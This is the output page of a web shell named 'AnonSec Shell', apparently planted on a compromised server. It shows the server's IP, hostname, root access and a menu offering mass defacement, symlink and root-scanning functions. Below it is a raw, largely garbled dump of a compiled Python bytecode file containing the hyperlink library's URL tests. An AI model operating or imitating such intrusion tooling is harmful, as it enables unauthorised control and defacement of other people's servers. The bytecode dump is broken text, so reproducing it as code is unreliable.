AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/hyperlink/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/hyperlink/test/__pycache__/test_url.cpython-310.pyc
o

G�_?��@s�ddlmZddlZddlZddlmZmZmZmZm	Z	m
Z
ddlmZddl
mZmZddlmZmZejddkZed	�Zd
ZdZgd�Zd
ZGdd�de�ZdS)�)�unicode_literalsN)�Any�Iterable�Optional�Text�Tuple�cast�)�HyperlinkTestCase�)�URL�
URLParseError)�	inet_pton�SCHEME_PORT_MAP��*http://www.foo.com/a/nice/path/?zot=23&zut�http://a/b/c/d;p?q)()�g�http://a/b/c/g)z./gr)zg/�http://a/b/c/g/)z/g�
http://a/g)z//gzhttp://g)z?yzhttp://a/b/c/d;p?y)zg?yzhttp://a/b/c/g?y)z#szhttp://a/b/c/d;p?q#s)zg#szhttp://a/b/c/g#s)zg?y#szhttp://a/b/c/g?y#s)z;xzhttp://a/b/c/;x)zg;xzhttp://a/b/c/g;x)zg;x?y#szhttp://a/b/c/g;x?y#s)rr)�.�
http://a/b/c/)z./r)�..�http://a/b/)z../r)z../g�http://a/b/g)z../..�	http://a/)z../../r)z../../gr)z
../../../gr)z
../../../../gr)z/./gr)z/../gr)zg.zhttp://a/b/c/g.)z.gzhttp://a/b/c/.g)zg..zhttp://a/b/c/g..)z..gzhttp://a/b/c/..g)z./../gr)z./g/.r)zg/./hzhttp://a/b/c/g/h)zg/../hzhttp://a/b/c/h)z	g;x=1/./yzhttp://a/b/c/g;x=1/y)z
g;x=1/../yzhttp://a/b/c/y)zg?y/./xzhttp://a/b/c/g?y/./x)zg?y/../xzhttp://a/b/c/g?y/../x)zg#s/./xzhttp://a/b/c/g#s/./x)zg#s/../xzhttp://a/b/c/g#s/../x)6zhttp://localhost�http://localhost/zhttp://127.0.0.1/zhttp://[::127.0.0.1]/z
http://[::1]/zhttp://localhost/foozhttp://localhost/foo/zhttp://localhost/foo!!bar/zhttp://localhost/foo%20bar/zhttp://localhost/foo%2Fbar/zhttp://localhost/foo?nzhttp://localhost/foo?n=vzhttp://localhost/foo?n=/a/bz%http://example.com/foo!@$bar?b!@z=123z$http://localhost/asd?a=asd%20sdf/345z6http://(%2525)/(%2525)?(%2525)&(%2525)=(%2525)#(%2525)z<http://(%C3%A9)/(%C3%A9)?(%C3%A9)&(%C3%A9)=(%C3%A9)#(%C3%A9)zG?sslrootcert=/Users/glyph/Downloads/rds-ca-2015-root.pem&sslmode=verifyz%http://googlewebsite.com/e-shops.aspxz?http://example.com:8080/search?q=123&business=Nothing%20Specialz*http://hatnote.com:9000/?arg=1&arg=2&arg=3�https://xn--bcher-kva.chz"http://xn--ggbla1c4e.xn--ngbc5azd/z.http://tools.ietf.org/html/rfc3986#section-3.4z:ftp://ftp.rfc-editor.org/in-notes/tar/RFCs0001-0500.tar.gzz.http://[1080:0:0:0:8:800:200C:417A]/index.htmlzssh://192.0.2.16:2222/z$https://[::101.45.75.219]:80/?hi=byez7ldap://[::192.9.5.5]/dc=example,dc=com??sub?(sn=Jensen)zFmailto:me@example.com?to=me@example.com&body=hi%20http://wikipedia.orgznews:alt.rec.motorcycleztel:+1-800-867-5309zurn:oasis:member:A00024:xamagnet:?xt=urn:btih:1a42b9e04e122b97a5254e3df77ab3c4b7da725f&dn=Puppy%20Linux%20precise-5.7.1.iso&tr=udp://tracker.openbittorrent.com:80&tr=udp://tracker.publicbt.com:80&tr=udp://tracker.istole.it:6969&tr=udp://tracker.ccc.de:80&tr=udp://open.demonii.com:1337zhttps://%3A@example.com/zhttps://%40@example.com/zhttps://%2f@example.com/zhttps://a:%3a@example.com/zhttps://a:%40@example.com/zhttps://a:%2f@example.com/zhttps://a:%3f@example.com/zhttps://example.com/%2F/zhttps://example.com/%3F/zhttps://example.com/%23/zhttps://example.com/?%23=bzhttps://example.com/?%3D=bzhttps://example.com/?%26=bzhttps://example.com/?a=%23zhttps://example.com/?a=%26zhttps://example.com/?a=%3Dz https://example.com/?foo+bar=bazz https://example.com/?foo=bar+bazzChttp://(%2525):(%2525)@example.com/(%2525)/?(%2525)=(%2525)#(%2525)z8first_seg_rel_path__colon%3Anotok/second_seg__colon%3Aokc@sleZdZdZdd�Z	d�dd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Zd;d<�Z d=d>�Z!d?d@�Z"dAdB�Z#dCdD�Z$dEdF�Z%dGdH�Z&dIdJ�Z'dKdL�Z(dMdN�Z)dOdP�Z*dQdR�Z+dSdT�Z,dUdV�Z-dWdX�Z.dYdZ�Z/d[d\�Z0d]d^�Z1d_d`�Z2dadb�Z3dcdd�Z4dedf�Z5dgdh�Z6didj�Z7dkdl�Z8dmdn�Z9dodp�Z:dqdr�Z;dsdt�Z<dudv�Z=dwdx�Z>dydz�Z?d{d|�Z@d}d~�ZAdd��ZBd�d��ZCd�d��ZDd�d��ZEd�d��ZFd�d��ZGd�d��ZHd�d��ZId�d��ZJd�d��ZKd�d��ZLd�d��ZMd�d��ZNd�S)��TestURLz
    Tests for L{URL}.
    cCs�|�t|jt�p|jdut|��|�t|jt�p|jdut|��|jD]
}|�t|�tt|��q%|j	D]\}}|�t|�tt|��|�|dupOt|t�t|��q6|�t|j
�tt|��dS)zl
        The given L{URL}'s components should be L{unicode}.

        @param u: The L{URL} to test.
        N)�
assertTrue�
isinstance�scheme�unicode�repr�host�path�assertEqual�type�query�fragment)�self�u�seg�_k�v�r0�9/usr/lib/python3/dist-packages/hyperlink/test/test_url.py�assertUnicoded�s�"
 zTestURL.assertUnicodedrc	CsL|j|j|j|j|j|j|jf}	||t|�t|�|||jf}
|�|	|
�dS)a�
        The given L{URL} should have the given components.

        @param u: The actual L{URL} to examine.

        @param scheme: The expected scheme.

        @param host: The expected host.

        @param path: The expected path.

        @param query: The expected query.

        @param fragment: The expected fragment.

        @param port: The expected port.

        @param userinfo: The expected userinfo.
        N)	r"r%r&r)r*�port�userinfo�tupler')r+r,r"r%r&r)r*r3r4�actual�expectedr0r0r1�	assertURL�s" �
�	zTestURL.assertURLcsD�fdd�}|tdd��|tddgg��|tddggd��dS)z@
        L{URL} should have appropriate default values.
        c
s&��|���|ddggddd�dS)N�httpr�P)r2r8)r,�r+r0r1�check�s
z(TestURL.test_initDefaults.<locals>.checkr9rN)r)r+r<r0r;r1�test_initDefaults�szTestURL.test_initDefaultsc	Csjtdddgddgd�}|�|�|�|dddgddgdd�|�tdd	d
gdgd�dd	d
gdgdd
�dS)z=
        L{URL} should accept L{unicode} parameters.
        �s�h�p��kr/)rBN�fNr9�à�é)uλuπu⊥r:�rr2r8�r+r,r0r0r1�	test_init�s
�zTestURL.test_initc	Cs@tdddgddgd�}|�|�|�|dddgddgdd�dS)zN
        L{URL} should accept (and not interpret) percent characters.
        r>z%68z%70)�%6Bz%76)rINz%66NrFrGr0r0r1�test_initPercent�s

�zTestURL.test_initPercentc
Cs2|�ttdddgddgdd��dtd	�f�d
S)z�
        L{URL.__repr__} will display the canonical form of the URL, wrapped in
        a L{URL.from_text} invocation, so that it is C{eval}-able but still
        easy to read.
        r9�foo�bar)�bazNrA�frob�r"r%r&r)r*zURL.from_text(%s)zhttp://foo/bar?baz&k=v#frobN)r'r$rr;r0r0r1�	test_reprs��	�zTestURL.test_reprcCst�t�}|�t|���dS)zc
        Round-tripping L{URL.from_text} with C{str} results in an equivalent
        URL.
        N)r�	from_text�	BASIC_URLr'�to_text�r+�urlpathr0r0r1�test_from_texts
zTestURL.test_from_textcCs,tD]}t�|�jdd�}|�||�qdS)z@
        L{URL.to_text} should invert L{URL.from_text}.
        T��
with_passwordN)�ROUNDTRIP_TESTSrrQrSr')r+�test�resultr0r0r1�test_roundtrip%s�zTestURL.test_roundtripcCsXtD]'}t�|�}|��}|��}||ksJ�|jdd�}|jdd�}||ks)J�qdS)NTrW)rYrrQ�to_irirS)r+rZ�url�iri�
double_iri�iri_text�double_iri_textr0r0r1�test_roundtrip_double_iri.s
z!TestURL.test_roundtrip_double_iricCs2t�t�}|�|t�t��|�|t�d��dS)z�
        Two URLs decoded using L{URL.from_text} will be equal (C{==}) if they
        decoded same URL string, and unequal (C{!=}) if they decoded different
        strings.
        z:ftp://www.anotherinvaliddomain.com/foo/bar/baz/?zot=21&zutN)rrQrRr'�assertNotEqualrTr0r0r1�
test_equality;s
��zTestURL.test_equalitycCs0|�tdd�t��|�t�d�t�d��dS)z�
        An URL created with the empty string for a fragment compares equal
        to an URL created with an unspecified fragment.
        r)r*zhttp://localhost/#rN)r'rrQr;r0r0r1�test_fragmentEqualityKs
�zTestURL.test_fragmentEqualitycCsft�t�}|�d|�d����|�d|�d����|�d|�d����|�d|�d����d	S)
zm
        L{URL.child} appends a new path segment, but does not affect the query
        or fragment.
        z.http://www.foo.com/a/nice/path/gong?zot=23&zut�gongz1http://www.foo.com/a/nice/path/gong%2F?zot=23&zutzgong/z7http://www.foo.com/a/nice/path/gong%2Fdouble?zot=23&zutzgong/doublez:http://www.foo.com/a/nice/path/gong%2Fdouble%2F?zot=23&zutzgong/double/N)rrQrRr'�childrSrTr0r0r1�
test_childWs"
����zTestURL.test_childcCs(t�d�}|�|�ddd���d�dS)zg
        L{URL.child} receives multiple segments as C{*args} and appends each in
        turn.
        zhttp://example.com/a/b�c�d�ezhttp://example.com/a/b/c/d/eN)rrQr'rhrS�r+r^r0r0r1�test_multiChildos
�zTestURL.test_multiChildcCs0tdd��d�}|�|j�|�d|���dS)zo
        L{URL.child} of a L{URL} without a path produces a L{URL} with a single
        path segment.
        �www.foo.com�r%rjzhttp://www.foo.com/cN)rrhr �rootedr'rS)r+�childURLr0r0r1�test_childInitRootzszTestURL.test_childInitRootcCstdd�}|�|��|�dS)zT
        L{URL.child} without any new segments returns the original L{URL}.
        rorpN)rr'rhrmr0r0r1�test_emptyChild�s
zTestURL.test_emptyChildcCsHt�t�}|�d|�d����d}t�|�}|�d|�d����dS)z
        L{URL.sibling} of a L{URL} replaces the last path segment, but does not
        affect the query or fragment.
        z0http://www.foo.com/a/nice/path/sister?zot=23&zut�sisterz)http://www.foo.com/a/nice/path?zot=23&zutz+http://www.foo.com/a/nice/sister?zot=23&zutN)rrQrRr'�siblingrS)r+rU�url_textr0r0r1�test_sibling�s
�
�zTestURL.test_siblingcCs$t�t�}|�d|�d����|�d|�d����|�d|�d����|�d|�d����|�d	|�d
���v�t�d�}|�d|�d
����t�d�}|�|�d���d�t�d�}d}|�|�d���|�|�|����|�t�d�}t�d�}|�|�}|�|��d�dS)z�
        L{URL.click} interprets the given string as a relative URI-reference
        and returns a new L{URL} interpreting C{self} as the base absolute URI.
        rrz$http://www.foo.com/a/nice/path/click�clickzhttp://www.foo.com/clickz/clickz$http://www.foo.com/a/nice/path/?burpz?burpz//foobarzhttp://www.foo.com/foobarzhttp://www.foo.com/me/noqueryz!http://www.foo.com/me/17?spam=158z/me/17?spam=158zhttp://localhost/foo?abc=defzhttp://www.python.orgz$http://hatnote.com/a/b/../c/./d/e/..zhttp://hatnote.com/a/c/d/zhttp://localhost/foo/?abc=defrLzhttp://localhost/foo/barN)rrQrRr'ryrSr �fromText)r+rUr,�res�u2�u3r0r0r1�
test_click�sL
������
�
�



zTestURL.test_clickcCs2t�t�}tD]\}}|�|�|���|�qdS)zQ
        L{URL.click} should correctly resolve the examples in RFC 3986.
        N)rrQ�relativeLinkBaseForRFC3986�relativeLinkTestsForRFC3986r'ryrS)r+�base�refr7r0r0r1�test_clickRFC3986�s
�zTestURL.test_clickRFC3986cCs.t�t�}|�t|jd�|�t|jd�dS)zM
        L{URL.click} should not accept schemes with relative paths.
        zg:hzhttp:hN)rrQr�assertRaises�NotImplementedErrorry)r+r�r0r0r1�test_clickSchemeRelPath�s
zTestURL.test_clickSchemeRelPathc
CsFt�d�}|�|�|j|j|j|j|j|j	�|�|�|��|�dS)zf
        Verify that L{URL.replace} doesn't change any of the arguments it
        is passed.
        zhttps://x:1/y?z=1#AN)
rrQr'�replacer"r%r&r)r*r3rTr0r0r1�test_cloneUnchanged�s
��zTestURL.test_cloneUnchangedcCs�gd�gd�gd�gd�gd�gd�gd�gd�gd	�gd
�gd�gd�gd
�g
}|D]\}}}t�|��|���}|�||dj|t|�||d��q+dS)zd
        L{URL.click} collapses C{.} and C{..} according to RFC 3986 section
        5.2.4.
        )rrr)rrr)�http://localhost/a/b/crzhttp://localhost/a/b/)r�rzhttp://localhost/a/)r�z./d/ezhttp://localhost/a/b/d/e)r��../d/e�http://localhost/a/d/e)r�z/./d/e�http://localhost/d/e)r�z/../d/er�)zhttp://localhost/a/b/c/z
../../d/e/zhttp://localhost/a/d/e/)zhttp://localhost/a/./cr�r�)zhttp://localhost/a/./c/r�r�)zhttp://localhost/a/b/c/dz
./e/../f/../gzhttp://localhost/a/b/c/g)r�zd//ezhttp://localhost/a/b/d//ez1{start}.click({click}) => {actual} not {expected})�startryr6r7N)rrQryrSr'�formatr$)r+�testsr�ryr7r6r0r0r1�test_clickCollapses6����zTestURL.test_clickCollapsecCs�|�dt�d��dd����|�dtdd��dd����t�t�}|�d|�d	����|�d
|�d	d����|�d|�d	d��d
����|�d|�d
��d	d����|�d|�d	d��dd����dS)z3
        L{URL.add} adds query parameters.
        z'http://www.foo.com/a/nice/path/?foo=barzhttp://www.foo.com/a/nice/path/rKrLzhttp://www.foo.com/?foo=barrorpz/http://www.foo.com/a/nice/path/?zot=23&zut&burp�burpz3http://www.foo.com/a/nice/path/?zot=23&zut&burp=xxx�xxxz8http://www.foo.com/a/nice/path/?zot=23&zut&burp=xxx&zing�zingz8http://www.foo.com/a/nice/path/?zot=23&zut&zing&burp=xxxz:http://www.foo.com/a/nice/path/?zot=23&zut&burp=xxx&zot=32�zot�32N)r'rrQ�addrSrRrTr0r0r1�
test_queryAdd-s>��
�����zTestURL.test_queryAddcCsdt�t�}|�d|�dd����|�d|�d��dd����|�d|�dd��dd����dS)	z?
        L{URL.set} replaces query parameters by name.
        z*http://www.foo.com/a/nice/path/?zot=32&zutr�r�z0http://www.foo.com/a/nice/path/?zot&zut=itworked�zut�itworkedr�N)rrQrRr'�setrSr�rTr0r0r1�
test_querySetTs
���zTestURL.test_querySetcCs|t�d�}|�|�d�t�d��|�|jddd�t�d��|�|jddd�t�d��|�|jddd	d
�t�d��dS)zG
        L{URL.remove} removes instances of a query parameter.
        z*https://example.com/a/b/?foo=1&bar=2&foo=3rKzhttps://example.com/a/b/?bar=2�1)�name�valuez$https://example.com/a/b/?bar=2&foo=3r	)r��limitr)r�r�r�N)rrQr'�removermr0r0r1�test_queryRemovejs 
����zTestURL.test_queryRemovecCs�t�d�}|�|�d�dg�|�|��d�t�d�}|�|jd�|�|��d�t�d�}|��}|�|�d�dg�|�|���d�dg�d	S)
z�
        Every C{=}-sign after the first in a query parameter is simply included
        in the value of the parameter.
        zhttp://localhost/?=x=x=xr�x=x=xz!http://localhost/?foo=x=x=x&bar=y))rKr�)rL�yz7https://example.com/?argument=3&argument=4&operator=%3D�operator�=N)rrQr'�getrSr)r]�to_uri)r+r,r_r0r0r1�test_parseEqualSignInParamValue�s

�z'TestURL.test_parseEqualSignInParamValuecCs|�t���d�dS)zG
        An empty L{URL} should serialize as the empty string.
        rN)r'rrSr;r0r0r1�
test_empty�szTestURL.test_emptycCs tdgd�}|�|��d�dS)zP
        An L{URL} with query text should serialize as just query text.
        ��hello�world�r)z?hello=worldN)rr'rSrGr0r0r1�test_justQueryText�szTestURL.test_justQueryTextcCst�d�}|�||�dS)z2
        L{URL} compares equal to itself.
        rN�rrQr'rGr0r0r1�test_identicalEqual�s
zTestURL.test_identicalEqualcCs$t�d�}t�d�}|�||�dS)zG
        URLs with equivalent components should compare equal.
        �%http://u@localhost:8080/p/a/t/h?q=p#fNr��r+�u1r|r0r0r1�test_similarEqual�s

zTestURL.test_similarEqualcCs<t�d�}t�d�}|�||kd||f�|�||�dS)z|
        L{URL}s that refer to different resources are both unequal (C{!=}) and
        also not equal (not C{==}).
        �http://localhost/a�http://localhost/b�%r != %rN)rrQ�assertFalserdr�r0r0r1�test_differentNotEqual�s

zTestURL.test_differentNotEqualcCsJt�d�}|�|dkd�|�|t�kd�|�|d�|�|t��dS)z=
        L{URL} is not equal (C{==}) to other types.
        r�*zURL must not equal a number.zURL must not equal an object.N)rrQr��objectrdrGr0r0r1�test_otherTypesNotEqual�s

zTestURL.test_otherTypesNotEqualcCs"t�d�}|�||kd|�dS)zJ
        Identical L{URL}s are not unequal (C{!=}) to each other.
        r�z%r == itselfN�rrQr�rGr0r0r1�test_identicalNotUnequal�s
z TestURL.test_identicalNotUnequalcCs0t�d�}t�d�}|�||kd||f�dS)zU
        Structurally similar L{URL}s are not unequal (C{!=}) to each other.
        r��%r == %rNr�r�r0r0r1�test_similarNotUnequal��

zTestURL.test_similarNotUnequalcCs0t�d�}t�d�}|�||kd||f�dS)zS
        Structurally different L{URL}s are unequal (C{!=}) to each other.
        r�r�r�N)rrQr r�r0r0r1�test_differentUnequal�r�zTestURL.test_differentUnequalcCs0t�d�}|�|dkd�|�|t�kd�dS)z;
        L{URL} is unequal (C{!=}) to other types.
        rr�zURL must differ from a number.z"URL must be differ from an object.N)rrQr r�rGr0r0r1�test_otherTypesUnequal�s
zTestURL.test_otherTypesUnequalcC�ld}t�|�}|��}|�|jd�|�|jdd�|�|��|�d}|��}|�||d||f�dS)z�
        L{URL.asURI} produces an URI which converts any URI unicode encoding
        into pure US-ASCII and returns a new L{URL}.
        �http://é.com/é?á=í#úué.comrué�.http://xn--9ca.com/%C3%A9?%C3%A1=%C3%AD#%C3%BAr�N)rrQ�asURIr'r%r&rS)r+�unicodeyr_�uri�expectedURI�	actualURIr0r0r1�
test_asURI�s�

��zTestURL.test_asURIcCr�)z�
        L{URL.asIRI} decodes any percent-encoded text in the URI, making it
        more suitable for reading by humans, and returns a new L{URL}.
        r�zxn--9ca.comrz%C3%A9uhttp://é.com/é?á=í#úr�N)rrQ�asIRIr'r%r&rS)r+�asciiishr�r_�expectedIRI�	actualIRIr0r0r1�
test_asIRIs
��zTestURL.test_asIRIcCs<d}t�|�}|��}d}|��}|�||d||f�dS)z�
        Bad UTF-8 in a path segment, query parameter, or fragment results in
        that portion of the URI remaining percent-encoded in the IRI.
        z http://xn--9ca.com/%00%FF/%C3%A9uhttp://é.com/%00%FF/ér�N)rrQr�rSr')r+�
urlWithBinaryr�r_r�r�r0r0r1�test_badUTF8AsIRI#s
��zTestURL.test_badUTF8AsIRIcCs*d}t�|�}|��}|�|��|�dS)zT
        A L{URL} composed of non-ASCII text will result in non-ASCII text.
        r�N)rrQr�r'rS)r+r�r_�alsoIRIr0r0r1�test_alreadyIRIAsIRI6s
�
zTestURL.test_alreadyIRIAsIRIcCs*d}t�|�}|����}|�||�dS)zH
        A L{URL} composed of encoded text will remain encoded.
        r�N)rrQr�rSr')r+r�r�r�r0r0r1�test_alreadyURIAsURIFs
zTestURL.test_alreadyURIAsURIcCsvt�d�}|�|�d�d�|�|�d�d�|�|jd�|�|jd�|�|��d�|�|jdd	���d
�dS)z{
        L{URL.from_text} will parse the C{userinfo} portion of the URI
        separately from the host and port.
        z<http://someuser:somepassword@example.com/some-segment@ignoreTz!someuser:somepassword@example.comFzsomeuser:@example.comzsomeuser:somepassword�someuserz0http://someuser:@example.com/some-segment@ignore�r4z/http://someuser@example.com/some-segment@ignoreN)rrQr'�	authorityr4�userrSr�rmr0r0r1�
test_userinfoPs �
���zTestURL.test_userinfocCs,t�d�}|�|jd�|�|��d�dS)zJ
        L{URL.from_text} parses custom port numbers as integers.
        zhttp://www.example.com:8080/i�N)rrQr'r3rS)r+�portURLr0r0r1�
test_portTextgs
zTestURL.test_portTextcCs|�t�d���d�dS)a
        Although L{URL} instances are mainly for dealing with HTTP, other
        schemes (such as C{mailto:}) should work as well.  For example,
        L{URL.from_text}/L{URL.to_text} round-trips cleanly for a C{mailto:}
        URL representing an email address.
        zmailto:user@example.comN)r'rrQrSr;r0r0r1�test_mailtops�zTestURL.test_mailtocCsHt�d�}|�|jd�|�|jd�|�|jd�|�|��d�dS)zj
        An HTTP URL without a hostname, but with a path, should also round-trip
        cleanly.
        zhttp:relative-pathr)z
relative-pathFN)rrQr'r%r&�uses_netlocrS)r+�without_hostr0r0r1�test_httpWithoutHost}s

zTestURL.test_httpWithoutHostcCs>d}tdgd�}|�|j|�tddid�}|�|j|�dS)z�
        When a L{URL} is created with a C{query} argument, the C{query}
        argument is converted into an N-tuple of 2-tuples, sensibly
        handling dictionaries.
        )��alpha�betar�r�r�r�N)rr'r))r+r7r^r0r0r1�test_queryIterable�s
zTestURL.test_queryIterablecCs tddgd�}|�|jd�dS)zr
        When a L{URL} is created with a C{path} argument, the C{path} is
        converted into a tuple.
        r�r��r&r�N)rr'r&rmr0r0r1�test_pathIterable�szTestURL.test_pathIterablecsGdd�dt��tturdnd}�fdd��|f���fdd�	}|d	�|d
�|d�|dd
�|d�|dd���t��}ttt���gd�Wd�n1sTwY�||d���t��}tdtt���fgd�Wd�n1s{wY�||dd���t��}ttt���dfgd�Wd�n1s�wY�||d���t��tttttf���gd�Wd�n1s�wY��t	��tttttfd�gd�Wd�n1s�wY��t	��tttttfd�gd�Wd�n	1�swYt�
d�}��t��}|�tt����Wd�n	1�s6wY�||d���t��}|�tt����Wd�n	1�s[wY�||d���t��}|�
tt����Wd�n	1�s�wY�||d�dS)a�
        Passing an argument of the wrong type to any of the constructor
        arguments of L{URL} will raise a descriptive L{TypeError}.

        L{URL} typechecks very aggressively to ensure that its constitutent
        parts are all properly immutable and to prevent confusing errors when
        bad data crops up in a method call long after the code that called the
        constructor is off the stack.
        c@seZdZdd�Zdd�ZdS)z1TestURL.test_invalidArguments.<locals>.UnexpectedcS�dS)N�wrongr0r;r0r0r1�__str__��z9TestURL.test_invalidArguments.<locals>.Unexpected.__str__cSr�)N�<unexpected>r0r;r0r0r1�__repr__�r�z:TestURL.test_invalidArguments.<locals>.Unexpected.__repr__N)�__name__�
__module__�__qualname__r�r�r0r0r0r1�
Unexpected�sr�r#�strcs ��t|j�d�||d��dS)Nzexpected {0} for {1}, got {2}r�)r'r��	exceptionr�)�raised�expectationr�r;r0r1�assertRaised�s��z3TestURL.test_invalidArguments.<locals>.assertRaisedcsN��t��}tdi|��i��Wd�n1swY�|||�dS)Nr0)r��	TypeErrorr)�paramr�r��r�r�r+r0r1r<�s�z,TestURL.test_invalidArguments.<locals>.checkr"r%r*rq�boolr4r3zint or NoneTyper�Nzpath segmentr�r�z or NoneTypezquery parameter valuer�zquery parameter name)rBr/�vv)rBzhttps://valid.example.com/zrelative URL)r��bytesr�r�r�rrrr�
ValueErrorrQrhrvry)r+�defaultExpectationr<r�r^r0r�r1�test_invalidArguments�s\		

��
�����
���zTestURL.test_invalidArgumentscCsT|�t��
}tdd�Wd�n1swY|�t|j�d�td���dS)z�
        Technically, L{str} (or L{unicode}, as appropriate) is iterable, but
        C{URL(path="foo")} resulting in C{URL.from_text("f/o/o")} is never what
        you want.
        rKr�Nz,expected iterable of text for path, not: {0})r�r�rr'r�r�r�r$)r+r�r0r0r1�!test_technicallyTextIsIterableBut�s��z)TestURL.test_technicallyTextIsIterableButcCs:tdd�}|�|jd�|�|��d�|�t�d�jd�|�t�d�jd�|�t�d�jd�tddd�}|�|jd�|�|��d�td	d�}|�|jd�|�|��d
�tdd�}|�|jd�|�|��d�td
d�}|�|jd�|�|��d�t�d�}|�|jd�t�d�}|�|jd�dS)N�https�r"Tzhttps://zhttps:Fzhttps:/)r"r�z	git+httpszgit+https://�mailtozmailto:�ztpzztp:zztp://test.comzztp:test:com)rr'r�rSrQrmr0r0r1�test_netlocs,





zTestURL.test_netloccCsBd}t�|�}|jdksJ�|jdksJ�t|j|jksJ�dS)Nz5https://[2001:0db8:85a3:0000:0000:8a2e:0370:7334]:80/z'2001:0db8:85a3:0000:0000:8a2e:0370:7334r:)rrQr%r3rr")r+�tr^r0r0r1�test_ipv6_with_port$s

zTestURL.test_ipv6_with_portcCs�d}t�|�}|jdksJ�|jdksJ�|jdksJ�|jdks#J�|jdks*J�d}t�|�}|jdks8J�|jdks?J�|jdksFJ�|jdksMJ�d	}t�|�}|jdks[J�|jdksbJ�|jd
ksiJ�|jdkspJ�dS)Nz3https://user:pass@example.com/path/to/here?k=v#nicer�	user:pass�example.com)r&�to�here�nicez1https://user:pass@127.0.0.1/path/to/here?k=v#nicez	127.0.0.1z-https://user:pass@[::1]/path/to/here?k=v#nicez::1)rrQr"r4r%r&r*�r+�textr^r0r0r1�
test_basic,s&


zTestURL.test_basiccC�|�ttjd�dS)Nz#

�r�r
rrQr;r0r0r1�test_invalid_urlD�zTestURL.test_invalid_urlcCr)Nzhttp://abc:

/#rr;r0r0r1�test_invalid_authority_urlHrz"TestURL.test_invalid_authority_urlcCsFgd�}|D]}d|d}|�tjttj|�|�ttj|�qdS)N)z2001::0234:C1ab::A0:aabc:003Fz2001::1::3F�:z::::z::256.0.0.1zhttp://[�])r��socket�errorr�AF_INET6r
rrQ)r+�invalid_ipv6_ips�iprwr0r0r1�test_invalid_ipv6Ls�zTestURL.test_invalid_ipv6cCs$|�ttjd�|�ttjd�dS)Nzftp://portmouth:smashz+http://reader.googlewebsite.com:neverforget)r�r
rrQr�r;r0r0r1�test_invalid_portZs�zTestURL.test_invalid_portcCs|t�d�}|�|jd�|�|��d�|�|����d�t�d�}|�|jd�|�|��d�|�|����d�dS)Nuhttp://bücher.chu
bücher.chzhttp://xn--bcher-kva.chrzxn--bcher-kva.chuhttps://bücher.ch)rrQr'r%rSr�r]r�r0r0r1�	test_idnacs

zTestURL.test_idnacCs�t�d�}|�|jd�|�|��d�t�d�}|�|jd�|�|��d�t�d�}|�|jd�|�|��d�t�d�}|�|jd�|�|��d�t�d	�}|�|jd
�|�|��d	�t�d�}|�|jd�|�|��d�td
ddd�}|�|��d�td
dddd�}|�|��d�t�d�}|jdd�}|�|��d�d}t�|�}|jdd�}|�|��d�|jdd�}|�|��|�dS)Nzmailto:mahmoud@hatnote.comrzhttp://hatnote.comr9znewscheme:a:b:c�	newschemeznewerscheme://a/b/c�newerschemez%git+ftp://gitstub.biz/glyph/lefkowitzzgit+ftpz'what+mailto:freerealestate@enotuniq.orgzwhat+mailtor)�xr��zT)r"r&rqz
ztp:/x/y/z)r!r�r"r)r"r&rqr�zgit+ftp:///x/y/z/zfile:///path/to/heckrzmailto:/path/to/heckzunregisteredscheme:///a/b/cF)r�zunregisteredscheme:/a/b/c)rrQr'r"rSr�)r+r^�url2rw�
no_netloc_url�
netloc_urlr0r0r1�test_netloc_slashesosN





��

zTestURL.test_netloc_slashescCsHtdgd�}|�|��d�|jdd�}|�|��d�|�||�dS)z�
        On host-relative URLs, the C{rooted} flag can be updated to indicate
        that the path should no longer be treated as absolute.
        r�r�T)rqz/helloN)rr'rSr�rd)r+�a�br0r0r1�test_rooted_to_relative�s
zTestURL.test_rooted_to_relativecCs�tddgdd�}|�|jd�tdgdd�}|�|jd�|�||�tddgdd�}tddgd�}|�||�|�|jd�|�|jd�d	S)
a	
        The C{rooted} flag can be updated in some cases, but it cannot be made
        to conflict with other facts surrounding the URL; for example, all URLs
        involving an authority (host) are inherently rooted because it is not
        syntactically possible to express otherwise; also, once an unrooted URL
        gains a path that starts with an empty string, that empty string is
        elided and it becomes rooted, because these cases are syntactically
        indistinguisable in real URL text.
        rrKF)r&rqTrL)r%r&rq)r%r&N)rr'rq)r+�relative_path_rooted�relative_flag_rooted�attempt_unrooted_absolute�normal_absoluter0r0r1�test_autorooted�szTestURL.test_autorootedcCs�tdddd�}tddd�}tdddd�}|�|jd�|�|jd�|�|jd�t�d�}|�t|�t|��|�t|�t|��|�|��|���|�||�|�||�|�||�|�||�|�||�dS)	a�
        URLs which include a ``://`` netloc-separator for any reason are
        inherently rooted, regardless of the value or presence of the
        ``rooted`` constructor argument.

        They may include a netloc-separator because their constructor was
        directly invoked with an explicit host or port, or because they were
        parsed from a string which included the literal ``://`` separator.
        �udpi$F)r"r3rq)r"r3Tzudp://:4900N)rr'rqrQr��asText)r+�directly_constructed�directly_constructed_implict�directly_constructed_rooted�parsedr0r0r1�!test_rooted_with_port_but_no_host�s
z)TestURL.test_rooted_with_port_but_no_hostcCsj|�t��tt�Wd�n1swY|�t��
td�Wd�dS1s.wYdS)N�HTTP_____more_like_imHoTTeP)r�r�rrRr;r0r0r1�test_wrong_constructor�s
�
"�zTestURL.test_wrong_constructorcCspt�d�}|jdksJ�|jdd�}|��}|jdd�dks J�|jdd�d	ks*J�|��jdd�d
ks6J�dS)Nzhttp://user:pass@example.comrz
